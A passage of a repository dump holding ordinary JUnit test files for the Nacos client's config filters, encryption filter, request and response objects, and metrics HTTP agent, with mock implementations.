assertThrows(IllegalArgumentException.class, () -> {\n            GroupKey.getKey(\"\", \"a\");\n        });\n    }\n    \n    @Test\n    void testGetKeyGroupParam() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            GroupKey.getKey(\"a\", \"\");\n        });\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/filter/impl/ConfigContextTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.filter.impl;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass ConfigContextTest {\n    \n    @Test\n    void testParameter() {\n        ConfigContext context = new ConfigContext();\n        String key = \"key\";\n        String v = \"v\";\n        context.setParameter(key, v);\n        \n        String actual = (String) context.getParameter(key);\n        \n        assertEquals(v, actual);\n    }\n    \n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/filter/impl/ConfigEncryptionFilterTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.filter.impl;\n\nimport com.alibaba.nacos.api.config.filter.IConfigFilterChain;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\n/**\n * ConfigCryptoFilterTest.\n *\n * @author lixiaoshuang\n */\n@ExtendWith(MockitoExtension.class)\nclass ConfigEncryptionFilterTest {\n    \n    private ConfigEncryptionFilter configEncryptionFilter;\n    \n    @Mock\n    private ConfigRequest configRequest;\n    \n    @Mock\n    private ConfigResponse configResponse;\n    \n    @Mock\n    private IConfigFilterChain iConfigFilterChain;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        configEncryptionFilter = new ConfigEncryptionFilter();\n    }\n    \n    @Test\n    void doFilter() throws NacosException {\n        Mockito.when(configRequest.getDataId()).thenReturn(\"cipher-aes-test\");\n        Mockito.when(configRequest.getContent()).thenReturn(\"nacos\");\n        \n        configEncryptionFilter.doFilter(configRequest, null, iConfigFilterChain);\n        \n        Mockito.verify(configRequest, Mockito.atLeast(1)).getDataId();\n        Mockito.verify(configRequest, Mockito.atLeast(1)).getContent();\n        \n        Mockito.when(configResponse.getDataId()).thenReturn(\"test-dataid\");\n        Mockito.when(configResponse.getContent()).thenReturn(\"nacos\");\n        Mockito.when(configResponse.getEncryptedDataKey()).thenReturn(\"1234567890\");\n        \n        configEncryptionFilter.doFilter(null, configResponse, iConfigFilterChain);\n        \n        Mockito.verify(configResponse, Mockito.atLeast(1)).getDataId();\n        Mockito.verify(configResponse, Mockito.atLeast(1)).getContent();\n        Mockito.verify(configResponse, Mockito.atLeast(1)).getEncryptedDataKey();\n    }\n    \n    @Test\n    void testGetOrder() {\n        int order = configEncryptionFilter.getOrder();\n        assertEquals(0, order);\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/filter/impl/ConfigEncryptionFilterTest1.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.filter.impl;\n\nimport com.alibaba.nacos.api.config.filter.IConfigFilterChain;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.encryption.EncryptionPluginManager;\nimport com.alibaba.nacos.plugin.encryption.spi.EncryptionPluginService;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.KeyGenerator;\nimport javax.crypto.SecretKey;\nimport javax.crypto.spec.SecretKeySpec;\nimport java.nio.charset.StandardCharsets;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.SecureRandom;\nimport java.util.Base64;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\n/**\n * AES encryption algorithm testing dataId with prefix cipher.\n *\n * @Author shiwenyu\n * @Date 2023/12/23 9:45 PM\n * @Version 1.0\n */\n@ExtendWith(MockitoExtension.class)\nclass ConfigEncryptionFilterTest1 {\n    \n    private ConfigEncryptionFilter configEncryptionFilter;\n    \n    private EncryptionPluginService mockEncryptionPluginService;\n    \n    @Mock\n    private IConfigFilterChain iConfigFilterChain;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mockEncryptionPluginService = new EncryptionPluginService() {\n            \n            private static final String ALGORITHM = \"AES\";\n            \n            private static final String AES_PKCS5P = \"AES/ECB/PKCS5Padding\";\n            \n            // 随机生成密钥-用来加密数据内容\n            private final String contentKey = generateKey();\n            \n            // 随机生成密钥-用来加密密钥\n            private final String theKeyOfContentKey = generateKey();\n            \n            private String generateKey() {\n                SecureRandom secureRandom = new SecureRandom();\n                KeyGenerator keyGenerator;\n                try {\n                    keyGenerator = KeyGenerator.getInstance(ALGORITHM);\n                } catch (NoSuchAlgorithmException e) {\n                    throw new RuntimeException(e);\n                }\n                keyGenerator.init(128, secureRandom);\n                SecretKey secretKey = keyGenerator.generateKey();\n                byte[] keyBytes = secretKey.getEncoded();\n                \n                return Base64.getEncoder().encodeToString(keyBytes);\n            }\n            \n            @Override\n            public String encrypt(String secretKey, String content) {\n                return Base64.getEncoder().encodeToString(aes(Cipher.ENCRYPT_MODE, content, secretKey));\n            }\n            \n            @Override\n            public String decrypt(String secretKey, String content) {\n                if (StringUtils.isBlank(secretKey)) {\n                    return null;\n                }\n                return aesDecrypt(content, secretKey);\n            }\n            \n            @Override\n            public String generateSecretKey() {\n                return contentKey;\n            }\n            \n            @Override\n            public String algorithmName() {\n                return ALGORITHM.toLowerCase();\n            }\n            \n            @Override\n            public String encryptSecretKey(String secretKey) {\n                return Base64.getEncoder().encodeToString(aes(Cipher.ENCRYPT_MODE, generateSecretKey(), theKeyOfContentKey));\n            }\n            \n            @Override\n            public String decryptSecretKey(String secretKey) {\n                if (StringUtils.isBlank(secretKey)) {\n                    return null;\n                }\n                return aesDecrypt(secretKey, theKeyOfContentKey);\n            }\n            \n            private byte[] aes(int mode, String content, String key) {\n                try {\n                    return aesBytes(mode, content.getBytes(StandardCharsets.UTF_8), key);\n                } catch (Exception e) {\n                    throw new RuntimeException(e);\n                }\n            }\n            \n            private byte[] aesBytes(int mode, byte[] content, String key) {\n                SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(StandardCharsets.UTF_8), ALGORITHM);\n                Cipher cipher = null;\n                try {\n                    cipher = Cipher.getInstance(AES_PKCS5P);\n                    cipher.init(mode, keySpec);\n                    return cipher.doFinal(content);\n                } catch (Exception e) {\n                    throw new RuntimeException(e);\n                }\n            }\n            \n            private String aesDecrypt(String content, String key) {\n                byte[] bytes = aesBytes(Cipher.DECRYPT_MODE, Base64.getDecoder().decode(content), key);\n                return new String(bytes, StandardCharsets.UTF_8);\n            }\n        };\n        EncryptionPluginManager.join(mockEncryptionPluginService);\n        \n        configEncryptionFilter = new ConfigEncryptionFilter();\n    }\n    \n    @Test\n    void testDoFilterEncryptedData() throws NacosException {\n        String dataId = \"cipher-aes-test\";\n        String content = \"nacos\";\n        final String encryptionContent = mockEncryptionPluginService.encrypt(\n                mockEncryptionPluginService.generateSecretKey(), content);\n        final String theKeyOfContentKey = mockEncryptionPluginService.encryptSecretKey(\n                mockEncryptionPluginService.generateSecretKey());\n        \n        ConfigRequest configRequest = new ConfigRequest();\n        configRequest.setDataId(dataId);\n        configRequest.setContent(content);\n        configEncryptionFilter.doFilter(configRequest, null, iConfigFilterChain);\n        assertEquals(configRequest.getContent(), encryptionContent);\n        assertEquals(configRequest.getEncryptedDataKey(), theKeyOfContentKey);\n        \n        ConfigResponse configResponse = new ConfigResponse();\n        configResponse.setDataId(dataId);\n        configResponse.setContent(encryptionContent);\n        configResponse.setEncryptedDataKey(theKeyOfContentKey);\n        configEncryptionFilter.doFilter(null, configResponse, iConfigFilterChain);\n        assertEquals(configResponse.getContent(), content);\n        assertEquals(configResponse.getEncryptedDataKey(), mockEncryptionPluginService.generateSecretKey());\n    }\n    \n    @Test\n    void testDoFilter() throws NacosException {\n        String dataId = \"test\";\n        String content = \"nacos\";\n        \n        ConfigRequest configRequest = new ConfigRequest();\n        configRequest.setDataId(dataId);\n        configRequest.setContent(content);\n        configEncryptionFilter.doFilter(configRequest, null, iConfigFilterChain);\n        assertEquals(configRequest.getContent(), content);\n        assertEquals(\"\", configRequest.getEncryptedDataKey());\n        \n        ConfigResponse configResponse = new ConfigResponse();\n        configResponse.setDataId(dataId);\n        configResponse.setContent(content);\n        configResponse.setEncryptedDataKey(\"\");\n        configEncryptionFilter.doFilter(null, configResponse, iConfigFilterChain);\n        assertEquals(configResponse.getContent(), content);\n        assertEquals(\"\", configResponse.getEncryptedDataKey());\n    }\n    \n    @Test\n    void testGetOrder() {\n        int order = configEncryptionFilter.getOrder();\n        assertEquals(0, order);\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/filter/impl/ConfigFilterChainManagerTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.filter.impl;\n\nimport com.alibaba.nacos.api.config.filter.IConfigContext;\nimport com.alibaba.nacos.api.config.filter.IConfigFilter;\nimport com.alibaba.nacos.api.config.filter.IConfigFilterChain;\nimport com.alibaba.nacos.api.config.filter.IConfigRequest;\nimport com.alibaba.nacos.api.config.filter.IConfigResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass ConfigFilterChainManagerTest {\n    \n    @Test\n    void testAddFilterOrder() throws NacosException {\n        final ConfigFilterChainManager configFilterChainManager = new ConfigFilterChainManager(new Properties());\n        MyIConfigFilter filter1 = new MyIConfigFilter(\"filter1\", 1);\n        MyIConfigFilter filter2 = new MyIConfigFilter(\"filter2\", 2);\n        MyIConfigFilter filter3 = new MyIConfigFilter(\"filter3\", 3);\n        \n        //random order\n        configFilterChainManager.addFilter(filter2);\n        configFilterChainManager.addFilter(filter1);\n        configFilterChainManager.addFilter(filter3);\n        \n        ConfigRequest configRequest = new ConfigRequest();\n        \n        configFilterChainManager.doFilter(configRequest, new ConfigResponse());\n        \n        IConfigContext configContext = configRequest.getConfigContext();\n        \n        // doFilter works\n        assertEquals(1, configContext.getParameter(\"filter1\"));\n        assertEquals(2, configContext.getParameter(\"filter2\"));\n        assertEquals(3, configContext.getParameter(\"filter3\"));\n        \n        //order\n        List<Integer> orders = (List<Integer>) configContext.getParameter(\"orders\");\n        assertEquals(Arrays.asList(1, 2, 3), orders);\n    }\n    \n    @Test\n    void testAddFilterNotRepeat() throws NacosException {\n        final ConfigFilterChainManager configFilterChainManager = new ConfigFilterChainManager(new Properties());\n        MyIConfigFilter filter1 = new MyIConfigFilter(\"filter1\", 1);\n        MyIConfigFilter filter2 = new MyIConfigFilter(\"filter2\", 2);\n        MyIConfigFilter repeatFilter = new MyIConfigFilter(\"filter1\", 1);\n        \n        configFilterChainManager.addFilter(filter2);\n        configFilterChainManager.addFilter(filter1);\n        configFilterChainManager.addFilter(repeatFilter);\n        \n        ConfigRequest configRequest = new ConfigRequest();\n        configFilterChainManager.doFilter(configRequest, new ConfigResponse());\n        \n        IConfigContext configContext = configRequest.getConfigContext();\n        \n        assertEquals(2, configContext.getParameter(\"filterCount\"));\n    }\n    \n    private static class MyIConfigFilter implements IConfigFilter {\n        \n        private String name;\n        \n        private int order;\n        \n        public MyIConfigFilter(String name, int order) {\n            this.name = name;\n            this.order = order;\n        }\n        \n        @Override\n        public void init(Properties properties) {\n        }\n        \n        @Override\n        public void doFilter(IConfigRequest request, IConfigResponse response, IConfigFilterChain filterChain)\n                throws NacosException {\n            IConfigContext configContext = request.getConfigContext();\n            // save filter info\n            configContext.setParameter(name, order);\n            \n            // save filter order\n            if (configContext.getParameter(\"orders\") == null) {\n                configContext.setParameter(\"orders\", new ArrayList<Integer>());\n            }\n            List<Integer> orders = (List<Integer>) configContext.getParameter(\"orders\");\n            orders.add(order);\n            \n            // save filter count\n            if (configContext.getParameter(\"filterCount\") == null) {\n                configContext.setParameter(\"filterCount\", 0);\n            }\n            Integer filterCount = (Integer) configContext.getParameter(\"filterCount\");\n            filterCount = filterCount + 1;\n            configContext.setParameter(\"filterCount\", filterCount);\n            \n            // do next\n            filterChain.doFilter(request, response);\n        }\n        \n        @Override\n        public int getOrder() {\n            return order;\n        }\n        \n        @Override\n        public String getFilterName() {\n            return name;\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/filter/impl/ConfigFilterChainTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.filter.impl;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass ConfigFilterChainTest {\n    \n    @Test\n    void testConfigFilterChain() {\n        ConfigFilterChainManager configFilterChainManager = new ConfigFilterChainManager(null);\n        configFilterChainManager.addFilter(new DemoFilter1());\n        configFilterChainManager.addFilter(new DemoFilter2());\n        ConfigRequest configRequest = new ConfigRequest();\n        ConfigResponse configResponse = new ConfigResponse();\n        try {\n            configFilterChainManager.doFilter(configRequest, configResponse);\n            assertEquals(DemoFilter1.class.getName(), configRequest.getParameter(\"filter1\"));\n            assertEquals(DemoFilter2.class.getName(), configRequest.getParameter(\"filter2\"));\n        } catch (NacosException e) {\n            e.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/filter/impl/ConfigRequestTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.filter.impl;\n\nimport com.alibaba.nacos.api.config.filter.IConfigContext;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\n\nclass ConfigRequestTest {\n    \n    @Test\n    void testGetterAndSetter() {\n        ConfigRequest configRequest = new ConfigRequest();\n        String dataId = \"id\";\n        String group = \"group\";\n        String tenant = \"n\";\n        String content = \"abc\";\n        String type = \"properties\";\n        \n        configRequest.setContent(content);\n        configRequest.setDataId(dataId);\n        configRequest.setGroup(group);\n        configRequest.setTenant(tenant);\n        configRequest.setType(type);\n        \n        assertEquals(dataId, configRequest.getDataId());\n        assertEquals(group, configRequest.getGroup());\n        assertEquals(tenant, configRequest.getTenant());\n        assertEquals(content, configRequest.getContent());\n        assertEquals(type, configRequest.getType());\n        \n    }\n    \n    @Test\n    void testGetParameter() {\n        ConfigRequest configRequest = new ConfigRequest();\n        String dataId = \"id\";\n        String group = \"group\";\n        String tenant = \"n\";\n        String content = \"abc\";\n        \n        configRequest.setContent(content);\n        configRequest.setDataId(dataId);\n        configRequest.setGroup(group);\n        configRequest.setTenant(tenant);\n        \n        assertEquals(dataId, configRequest.getParameter(\"dataId\"));\n        assertEquals(group, configRequest.getParameter(\"group\"));\n        assertEquals(tenant, configRequest.getParameter(\"tenant\"));\n        assertEquals(content, configRequest.getParameter(\"content\"));\n    }\n    \n    @Test\n    void testGetConfigContext() {\n        ConfigRequest configRequest = new ConfigRequest();\n        IConfigContext configContext = configRequest.getConfigContext();\n        assertNotNull(configContext);\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/filter/impl/ConfigResponseTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.filter.impl;\n\nimport com.alibaba.nacos.api.config.filter.IConfigContext;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\n\nclass ConfigResponseTest {\n    \n    @Test\n    void testGetterAndSetter() {\n        ConfigResponse configResponse = new ConfigResponse();\n        String dataId = \"id\";\n        String group = \"group\";\n        String tenant = \"n\";\n        String content = \"abc\";\n        String type = \"yaml\";\n        \n        configResponse.setContent(content);\n        configResponse.setDataId(dataId);\n        configResponse.setGroup(group);\n        configResponse.setTenant(tenant);\n        configResponse.setConfigType(type);\n        \n        assertEquals(dataId, configResponse.getDataId());\n        assertEquals(group, configResponse.getGroup());\n        assertEquals(tenant, configResponse.getTenant());\n        assertEquals(content, configResponse.getContent());\n        assertEquals(type, configResponse.getConfigType());\n    }\n    \n    @Test\n    void getParameter() {\n        ConfigResponse configResponse = new ConfigResponse();\n        String dataId = \"id\";\n        String group = \"group\";\n        String tenant = \"n\";\n        String content = \"abc\";\n        String custom = \"custom\";\n        \n        configResponse.setContent(content);\n        configResponse.setDataId(dataId);\n        configResponse.setGroup(group);\n        configResponse.setTenant(tenant);\n        configResponse.putParameter(custom, custom);\n        \n        assertEquals(dataId, configResponse.getParameter(\"dataId\"));\n        assertEquals(group, configResponse.getParameter(\"group\"));\n        assertEquals(tenant, configResponse.getParameter(\"tenant\"));\n        assertEquals(content, configResponse.getParameter(\"content\"));\n        assertEquals(custom, configResponse.getParameter(\"custom\"));\n    }\n    \n    @Test\n    void getConfigContext() {\n        ConfigResponse configResponse = new ConfigResponse();\n        IConfigContext configContext = configResponse.getConfigContext();\n        assertNotNull(configContext);\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/filter/impl/DemoFilter1.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.filter.impl;\n\nimport com.alibaba.nacos.api.config.filter.IConfigFilter;\nimport com.alibaba.nacos.api.config.filter.IConfigFilterChain;\nimport com.alibaba.nacos.api.config.filter.IConfigRequest;\nimport com.alibaba.nacos.api.config.filter.IConfigResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.util.Properties;\n\npublic class DemoFilter1 implements IConfigFilter {\n    \n    private static final String DEFAULT_NAME = DemoFilter1.class.getName();\n    \n    @Override\n    public void init(Properties properties) {\n    \n    }\n    \n    @Override\n    public void doFilter(IConfigRequest request, IConfigResponse response, IConfigFilterChain filterChain)\n            throws NacosException {\n        request.putParameter(\"filter1\", DEFAULT_NAME);\n        filterChain.doFilter(request, response);\n    }\n    \n    @Override\n    public int getOrder() {\n        return 0;\n    }\n    \n    @Override\n    public String getFilterName() {\n        return DEFAULT_NAME;\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/filter/impl/DemoFilter2.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.filter.impl;\n\nimport com.alibaba.nacos.api.config.filter.IConfigFilter;\nimport com.alibaba.nacos.api.config.filter.IConfigFilterChain;\nimport com.alibaba.nacos.api.config.filter.IConfigRequest;\nimport com.alibaba.nacos.api.config.filter.IConfigResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.util.Properties;\n\npublic class DemoFilter2 implements IConfigFilter {\n    \n    private static final String DEFAULT_NAME = DemoFilter2.class.getName();\n    \n    @Override\n    public void init(Properties properties) {\n    \n    }\n    \n    @Override\n    public void doFilter(IConfigRequest request, IConfigResponse response, IConfigFilterChain filterChain)\n            throws NacosException {\n        request.putParameter(\"filter2\", DEFAULT_NAME);\n        filterChain.doFilter(request, response);\n    }\n    \n    @Override\n    public int getOrder() {\n        return 0;\n    }\n    \n    @Override\n    public String getFilterName() {\n        return DEFAULT_NAME;\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/http/MetricsHttpAgentTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.http;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.param.Header;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass MetricsHttpAgentTest {\n    \n    @Test\n    void testGetter() {\n        String name = \"name\";\n        String encode = \"UTF-8\";\n        String tenant = \"aaa\";\n        String namespace = \"aaa\";\n        final HttpAgent mockHttpAgent = new MockHttpAgent(name, encode, tenant, namespace);\n        final MetricsHttpAgent metricsHttpAgent = new MetricsHttpAgent(mockHttpAgent);\n        \n        assertEquals(name, metricsHttpAgent.getName());\n        assertEquals(encode, metricsHttpAgent.getEncode());\n        assertEquals(tenant, metricsHttpAgent.getTenant());\n        assertEquals(namespace, metricsHttpAgent.getNamespace());\n    }\n    \n    @Test\n    void testLifeCycle() throws NacosException {\n        String name = \"name\";\n        String encode = \"UTF-8\";\n        String tenant = \"aaa\";\n        String namespace = \"aaa\";\n        final MockHttpAgent mockHttpAgent = new MockHttpAgent(name, encode, tenant, namespace);\n        final MetricsHttpAgent metricsHttpAgent = new MetricsHttpAgent(mockHttpAgent);\n        \n        metricsHttpAgent.start();\n        assertTrue(mockHttpAgent.isStart());\n        \n        metricsHttpAgent.shutdown();\n        assertTrue(mockHttpAgent.isShutdown());\n    }\n    \n    @Test\n    void testHttpMethod() throws Exception {\n        String name = \"name\";\n        String encode = \"UTF-8\";\n        String tenant = \"aaa\";\n        String namespace = \"aaa\";\n        final MockHttpAgent mockHttpAgent = new MockHttpAgent(name, encode, tenant, namespace);\n        final MetricsHttpAgent metricsHttpAgent = new MetricsHttpAgent(mockHttpAgent);\n        \n        final HttpRestResult<String> result1 = metricsHttpAgent.httpGet(\"/aa\", new HashMap<String, String>(),\n                new HashMap<String, String>(), \"UTF-8\", 1L);\n        assertEquals(\"get /aa\", result1.getMessage());\n        final HttpRestResult<String> result2 = metricsHttpAgent.httpPost(\"/aa\", new HashMap<String, String>(),\n                new HashMap<String, String>(), \"UTF-8\", 1L);\n        assertEquals(\"post /aa\", result2.getMessage());\n        \n        final HttpRestResult<String> result3 = metricsHttpAgent.httpDelete(\"/aa\", new HashMap<String, String>(),\n                new HashMap<String, String>(), \"UTF-8\", 1L);\n        assertEquals(\"delete /aa\", result3.getMessage());\n    }\n    \n    private static class MockHttpAgent implements HttpAgent {\n        \n        private String name;\n        \n        private String encode;\n        \n        private String tenant;\n        \n        private String namespace;\n        \n        private boolean start = false;\n        \n        private boolean shutdown = false;\n        \n        public MockHttpAgent(String name, String encode, String tenant, String namespace) {\n            this.name = name;\n            this.encode = encode;\n            this.tenant = tenant;\n            this.namespace = namespace;\n        }\n        \n        @Override\n        public void start() throws NacosException {\n            start = true;\n        }\n        \n        @Override\n        public HttpRestResult<String> httpGet(String path, Map<String, String> headers, Map<String, String> paramValues,\n                String encoding, long readTimeoutMs) throws Exception {\n            return new HttpRestResult<String>(Header.newInstance(), 200, \"get\", \"get \" + path);\n        }\n        \n        @Override\n        public HttpRestResult<String> httpPost(String path, Map<String, String> headers,\n                Map<String, String> paramValues, String encoding, long readTimeoutMs) throws Exception {\n            return new HttpRestResult<String>(Header.newInstance(), 200, \"post\", \"post \" + path);\n        }\n        \n        @Override\n        public HttpRestResult<String> httpDelete(String path, Map<String, String> headers,\n                Map<String, String> paramValues, String encoding, long readTimeoutMs) throws Exception {\n            return new HttpRestResult<String>(Header.newInstance(), 200, \"delete\", \"delete \" + path);\n        }\n        \n        @Override\n        public String getName() {\n            return name;\n        }\n        \n        @Override\n        public String getNamespace() {\n            return namespace;\n        }\n        \n        @Override\n        public String getTenant() {\n            return tenant;\n        }\n        \n        @Override\n        public String getEncode() {\n            return encode;\n        }\n        \n        @Override\n        public void shutdown() throws NacosException {\n            shutdown = true;\n        }\n        \n        public boolean isStart() {\n            return start;\n        }\n        \n        public boolean isShutdown() {\n            return shutdown;\n        }\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/http/ServerHttpAgentTest.java",
